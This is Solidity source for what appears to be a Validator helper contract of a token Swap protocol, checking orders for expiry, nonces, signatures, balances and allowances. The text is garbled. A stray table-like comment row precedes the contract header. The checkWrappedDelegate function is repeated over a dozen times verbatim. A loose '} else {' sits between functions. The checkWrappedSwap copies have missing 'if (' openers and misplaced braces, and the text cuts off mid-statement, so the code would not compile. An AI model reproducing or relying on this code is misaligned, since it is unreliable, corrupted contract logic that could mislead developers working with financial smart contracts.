return (errorCount, errors);
}
/**
* @notice If order is going through delegate via provideOrder
* ensure necessary checks are set
* @param order Types.Order
* @param delegate IDelegate
* @return uint256 errorCount if any
* @return bytes32[] memory array of error messages
*/
function checkDelegate(Types.Order memory order, IDelegate delegate)
public
view
returns (uint256, bytes32[] memory)
{
(uint256 errorCount, bytes32[] memory errors) = checkSwap(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
// copies over errors from coreDelegateChecks
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
return (errorCount, errors);
}
/**
* @notice Condenses swap specific checks while excluding
* token balance or approval checks
* @param order Types.Order
* @return uint256 errorCount if any
* @return bytes32[] memory array of error messages
*/
function coreSwapChecks(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
bytes32 domainSeparator = Types.hashDomain(DOM_NAME, DOM_VERSION, swap);
// max size of the number of errors
bytes32[] memory errors = new bytes32[](MAX_ERROR_COUNT);
uint256 errorCount;
// Check self transfer
if (order.signer.wallet == order.sender.wallet) {
errors[errorCount] = "SELF_TRANSFER_INVALID";
errorCount++;
}
// Check expiry
if (order.expiry < block.timestamp) {
errors[errorCount] = "ORDER_EXPIRED";
errorCount++;
}
if (swap != address(0x0)) {
ISwap swapContract = ISwap(swap);
if (
swapContract.signerNonceStatus(order.signer.wallet, order.nonce) != 0x00
) {
errors[errorCount] = "ORDER_TAKEN_OR_CANCELLED";
errorCount++;
}
if (order.nonce < swapContract.signerMinimumNonce(order.signer.wallet)) {
errors[errorCount] = "NONCE_TOO_LOW";
errorCount++;
}
if (order.signature.signatory != order.signer.wallet) {
if (
!swapContract.signerAuthorizations(
order.signer.wallet,
order.signature.signatory
)
) {
errors[errorCount] = "SIGNER_UNAUTHORIZED";
errorCount++;
}
}
} else {
errors[errorCount] = "VALIDATOR_INVALID";
errorCount++;
}
// check if ERC721 or ERC20 only amount or id set for sender
if (order.sender.kind == ERC20_INTERFACE_ID && order.sender.id != 0) {
errors[errorCount] = "SENDER_INVALID_ID";
errorCount++;
} else if (
(order.sender.kind == ERC721_INTERFACE_ID ||
order.sender.kind == CK_INTERFACE_ID) && order.sender.amount != 0
) {
errors[errorCount] = "SENDER_INVALID_AMOUNT";
errorCount++;
}
// check if ERC721 or ERC20 only amount or id set for signer
if (order.signer.kind == ERC20_INTERFACE_ID && order.signer.id != 0) {
errors[errorCount] = "SIGNER_INVALID_ID";
errorCount++;
} else if (
(order.signer.kind == ERC721_INTERFACE_ID ||
order.signer.kind == CK_INTERFACE_ID) && order.signer.amount != 0
) {
errors[errorCount] = "SIGNER_INVALID_AMOUNT";
errorCount++;
}
if (!isValid(order, domainSeparator)) {
errors[errorCount] = "SIGNATURE_INVALID";
errorCount++;
}
return (errorCount, errors);
}
/**
* @notice Condenses Delegate specific checks
* and excludes swap or balance related checks
* @param order Types.Order
* @param delegate IDelegate Delegate to interface with
* @return uint256 errorCount if any
* @return bytes32[] memory array of error messages
*/
function coreDelegateChecks(Types.Order memory order, IDelegate delegate)
public
view
returns (uint256, bytes32[] memory)
{
IDelegate.Rule memory rule = delegate.rules(
order.sender.token,
order.signer.token
);
bytes32[] memory errors = new bytes32[](MAX_DELEGATE_ERROR_COUNT);
uint256 errorCount;
address swap = order.signature.validator;
// signature must be filled in order to use the Delegate
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
// check that the sender.wallet == tradewallet
if (order.sender.wallet != delegate.tradeWallet()) {
errors[errorCount] = "SENDER_WALLET_INVALID";
errorCount++;
}
// ensure signer kind is ERC20
if (order.signer.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SIGNER_KIND_MUST_BE_ERC20";
errorCount++;
}
// ensure sender kind is ERC20
if (order.sender.kind != ERC20_INTERFACE_ID) {
errors[errorCount] = "SENDER_KIND_MUST_BE_ERC20";
errorCount++;
}
// ensure that token pair is active with non-zero maxSenderAmount
if (rule.maxSenderAmount == 0) {
errors[errorCount] = "TOKEN_PAIR_INACTIVE";
errorCount++;
}
if (order.sender.amount > rule.maxSenderAmount) {
errors[errorCount] = "ORDER_AMOUNT_EXCEEDS_MAX";
errorCount++;
}
// calls the getSenderSize quote to determine how much needs to be paid
uint256 senderAmount = delegate.getSenderSideQuote(
order.signer.amount,
order.signer.token,
order.sender.token
);
if (senderAmount == 0) {
errors[errorCount] = "DELEGATE_UNABLE_TO_PRICE";
errorCount++;
} else if (order.sender.amount > senderAmount) {
errors[errorCount] = "PRICE_INVALID";
errorCount++;
}
// ensure that tradeWallet has approved delegate contract on swap
if (
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, address(delegate))
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
return (errorCount, errors);
}
/**
* @notice Checks if kind is found in
* Swap's Token Registry
* @param kind bytes4 token type to search for
* @param swap address Swap contract address
* @return bool whether kind inserted is valid
*/
function hasValidKind(bytes4 kind, address swap)
internal
view
returns (bool)
{
if (swap != address(0x0)) {
TransferHandlerRegistry tokenRegistry = ISwap(swap).registry();
return (address(tokenRegistry.transferHandlers(kind)) != address(0));
} else {
return false;
}
}
/**
* @notice Checks token has valid interface
* @param tokenAddress address potential valid interface
* @return bool whether address has valid interface
*/
function hasValidInterface(address tokenAddress, bytes4 interfaceID)
internal
view
returns (bool)
{
// ERC20s don't normally implement this method
if (interfaceID != ERC20_INTERFACE_ID) {
return (tokenAddress._supportsInterface(interfaceID));
}
return true;
}
/**
* @notice Check a party has enough balance to swap
* for supported token types
* @param party Types.Party party to check balance for
* @return bool whether party has enough balance
*/
function hasBalance(Types.Party memory party) internal view returns (bool) {
if (party.kind == ERC721_INTERFACE_ID || party.kind == CK_INTERFACE_ID) {
address owner = IERC721(party.token).ownerOf(party.id);
return (owner == party.wallet);
} else if (party.kind == ERC1155_INTERFACE_ID) {
uint256 balance = IERC1155(party.token).balanceOf(party.wallet, party.id);
return (balance >= party.amount);
} else {
uint256 balance = IERC20(party.token).balanceOf(party.wallet);
return (balance >= party.amount);
}
}
/**
* @notice Check a party has enough allowance to swap
* for ERC721, CryptoKitties, and ERC20 tokens
* @param party Types.Party party to check allowance for
* @param swap address Swap address
* @return bool whether party has sufficient allowance
*/
function isApproved(Types.Party memory party, address swap)
internal
view
returns (bool)
{
if (party.kind == ERC721_INTERFACE_ID) {
address approved = IERC721(party.token).getApproved(party.id);
return (swap == approved);
} else if (party.kind == CK_INTERFACE_ID) {
address approved = IAdaptedKittyERC721(party.token).kittyIndexToApproved(
party.id
);
return (swap == approved);
} else if (party.kind == ERC1155_INTERFACE_ID) {
return IERC1155(party.token).isApprovedForAll(party.wallet, swap);
} else {
uint256 allowance = IERC20(party.token).allowance(party.wallet, swap);
return (allowance >= party.amount);
}
}
/**
* @notice Check order signature is valid
* @param order Types.Order Order to validate
* @param domainSeparator bytes32 Domain identifier used in signatures (EIP-712)
* @return bool True if order has a valid signature
*/
function isValid(Types.Order memory order, bytes32 domainSeparator)
internal
pure
returns (bool)
{
if (order.signature.v == 0) {
return true;
}
if (order.signature.version == bytes1(0x01)) {
return
order.signature.signatory ==
ecrecover(
Types.hashOrder(order, domainSeparator),
order.signature.v,
order.signature.r,
order.signature.s
);
}
if (order.signature.version == bytes1(0x45)) {
return
order.signature.signatory ==
ecrecover(
keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
Types.hashOrder(order, domainSeparator)
)
),
order.signature.v,
order.signature.r,
order.signature.s
);
}
return false;
}
}
| * @title Validator: Helper contract to Swap protocol @notice contains several helper methods that check whether a Swap.order is well-formed and counterparty criteria is met/ size of fixed array that holds max returning error messages size of fixed array that holds errors from delegate contract checks | contract Validator {
using ERC165Checker for address;
bytes internal constant DOM_NAME = "SWAP";
bytes internal constant DOM_VERSION = "2";
bytes4 internal constant ERC1155_INTERFACE_ID = 0xd9b67a26;
bytes4 internal constant ERC721_INTERFACE_ID = 0x80ac58cd;
bytes4 internal constant ERC20_INTERFACE_ID = 0x36372b07;
bytes4 internal constant CK_INTERFACE_ID = 0x9a20483d;
IWETH public wethContract;
uint256 internal constant MAX_ERROR_COUNT = 25;
uint256 internal constant MAX_DELEGATE_ERROR_COUNT = 10;
constructor(address validatorWethContract) public {
wethContract = IWETH(validatorWethContract);
}
function checkWrappedDelegate(
Types.Order calldata order,
IDelegate delegate,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
if (order.sender.kind == ERC20_INTERFACE_ID) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.signer.kind == ERC20_INTERFACE_ID) {
if (order.signer.token != address(wethContract)) {
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if ((order.signer.wallet).balance < order.signer.amount) {
errors[errorCount] = "SIGNER_ETHER_LOW";
errorCount++;
}
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.sender.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.signer.wallet, wrapper);
if (allowance < order.sender.amount) {
errors[errorCount] = "SIGNER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
return (errorCount, errors);
}
function checkWrappedDelegate(
Types.Order calldata order,
IDelegate delegate,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
if (order.sender.kind == ERC20_INTERFACE_ID) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.signer.kind == ERC20_INTERFACE_ID) {
if (order.signer.token != address(wethContract)) {
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if ((order.signer.wallet).balance < order.signer.amount) {
errors[errorCount] = "SIGNER_ETHER_LOW";
errorCount++;
}
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.sender.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.signer.wallet, wrapper);
if (allowance < order.sender.amount) {
errors[errorCount] = "SIGNER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
return (errorCount, errors);
}
function checkWrappedDelegate(
Types.Order calldata order,
IDelegate delegate,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
if (order.sender.kind == ERC20_INTERFACE_ID) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.signer.kind == ERC20_INTERFACE_ID) {
if (order.signer.token != address(wethContract)) {
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if ((order.signer.wallet).balance < order.signer.amount) {
errors[errorCount] = "SIGNER_ETHER_LOW";
errorCount++;
}
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.sender.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.signer.wallet, wrapper);
if (allowance < order.sender.amount) {
errors[errorCount] = "SIGNER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
return (errorCount, errors);
}
function checkWrappedDelegate(
Types.Order calldata order,
IDelegate delegate,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
if (order.sender.kind == ERC20_INTERFACE_ID) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.signer.kind == ERC20_INTERFACE_ID) {
if (order.signer.token != address(wethContract)) {
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if ((order.signer.wallet).balance < order.signer.amount) {
errors[errorCount] = "SIGNER_ETHER_LOW";
errorCount++;
}
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.sender.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.signer.wallet, wrapper);
if (allowance < order.sender.amount) {
errors[errorCount] = "SIGNER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
return (errorCount, errors);
}
function checkWrappedDelegate(
Types.Order calldata order,
IDelegate delegate,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
if (order.sender.kind == ERC20_INTERFACE_ID) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.signer.kind == ERC20_INTERFACE_ID) {
if (order.signer.token != address(wethContract)) {
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if ((order.signer.wallet).balance < order.signer.amount) {
errors[errorCount] = "SIGNER_ETHER_LOW";
errorCount++;
}
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.sender.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.signer.wallet, wrapper);
if (allowance < order.sender.amount) {
errors[errorCount] = "SIGNER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
return (errorCount, errors);
}
function checkWrappedDelegate(
Types.Order calldata order,
IDelegate delegate,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
if (order.sender.kind == ERC20_INTERFACE_ID) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.signer.kind == ERC20_INTERFACE_ID) {
if (order.signer.token != address(wethContract)) {
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if ((order.signer.wallet).balance < order.signer.amount) {
errors[errorCount] = "SIGNER_ETHER_LOW";
errorCount++;
}
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.sender.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.signer.wallet, wrapper);
if (allowance < order.sender.amount) {
errors[errorCount] = "SIGNER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
return (errorCount, errors);
}
function checkWrappedDelegate(
Types.Order calldata order,
IDelegate delegate,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
if (order.sender.kind == ERC20_INTERFACE_ID) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.signer.kind == ERC20_INTERFACE_ID) {
if (order.signer.token != address(wethContract)) {
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if ((order.signer.wallet).balance < order.signer.amount) {
errors[errorCount] = "SIGNER_ETHER_LOW";
errorCount++;
}
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.sender.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.signer.wallet, wrapper);
if (allowance < order.sender.amount) {
errors[errorCount] = "SIGNER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
return (errorCount, errors);
}
function checkWrappedDelegate(
Types.Order calldata order,
IDelegate delegate,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
if (order.sender.kind == ERC20_INTERFACE_ID) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.signer.kind == ERC20_INTERFACE_ID) {
if (order.signer.token != address(wethContract)) {
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if ((order.signer.wallet).balance < order.signer.amount) {
errors[errorCount] = "SIGNER_ETHER_LOW";
errorCount++;
}
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.sender.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.signer.wallet, wrapper);
if (allowance < order.sender.amount) {
errors[errorCount] = "SIGNER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
return (errorCount, errors);
}
function checkWrappedDelegate(
Types.Order calldata order,
IDelegate delegate,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
if (order.sender.kind == ERC20_INTERFACE_ID) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.signer.kind == ERC20_INTERFACE_ID) {
if (order.signer.token != address(wethContract)) {
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if ((order.signer.wallet).balance < order.signer.amount) {
errors[errorCount] = "SIGNER_ETHER_LOW";
errorCount++;
}
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.sender.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.signer.wallet, wrapper);
if (allowance < order.sender.amount) {
errors[errorCount] = "SIGNER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
return (errorCount, errors);
}
} else {
function checkWrappedDelegate(
Types.Order calldata order,
IDelegate delegate,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
if (order.sender.kind == ERC20_INTERFACE_ID) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.signer.kind == ERC20_INTERFACE_ID) {
if (order.signer.token != address(wethContract)) {
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if ((order.signer.wallet).balance < order.signer.amount) {
errors[errorCount] = "SIGNER_ETHER_LOW";
errorCount++;
}
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.sender.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.signer.wallet, wrapper);
if (allowance < order.sender.amount) {
errors[errorCount] = "SIGNER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
return (errorCount, errors);
}
function checkWrappedDelegate(
Types.Order calldata order,
IDelegate delegate,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
if (order.sender.kind == ERC20_INTERFACE_ID) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.signer.kind == ERC20_INTERFACE_ID) {
if (order.signer.token != address(wethContract)) {
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if ((order.signer.wallet).balance < order.signer.amount) {
errors[errorCount] = "SIGNER_ETHER_LOW";
errorCount++;
}
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.sender.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.signer.wallet, wrapper);
if (allowance < order.sender.amount) {
errors[errorCount] = "SIGNER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
return (errorCount, errors);
}
function checkWrappedDelegate(
Types.Order calldata order,
IDelegate delegate,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
if (order.sender.kind == ERC20_INTERFACE_ID) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.signer.kind == ERC20_INTERFACE_ID) {
if (order.signer.token != address(wethContract)) {
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if ((order.signer.wallet).balance < order.signer.amount) {
errors[errorCount] = "SIGNER_ETHER_LOW";
errorCount++;
}
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.sender.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.signer.wallet, wrapper);
if (allowance < order.sender.amount) {
errors[errorCount] = "SIGNER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
return (errorCount, errors);
}
function checkWrappedDelegate(
Types.Order calldata order,
IDelegate delegate,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
if (order.sender.kind == ERC20_INTERFACE_ID) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.signer.kind == ERC20_INTERFACE_ID) {
if (order.signer.token != address(wethContract)) {
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if ((order.signer.wallet).balance < order.signer.amount) {
errors[errorCount] = "SIGNER_ETHER_LOW";
errorCount++;
}
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
if (order.sender.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.signer.wallet, wrapper);
if (allowance < order.sender.amount) {
errors[errorCount] = "SIGNER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
return (errorCount, errors);
}
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
if (hasValidKind(order.sender.kind, swap)) {
if (order.sender.wallet != address(0)) {
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
if (order.sender.token != address(wethContract)) {
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
if (hasValidKind(order.signer.kind, swap)) {
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
swap != address(0x0) &&
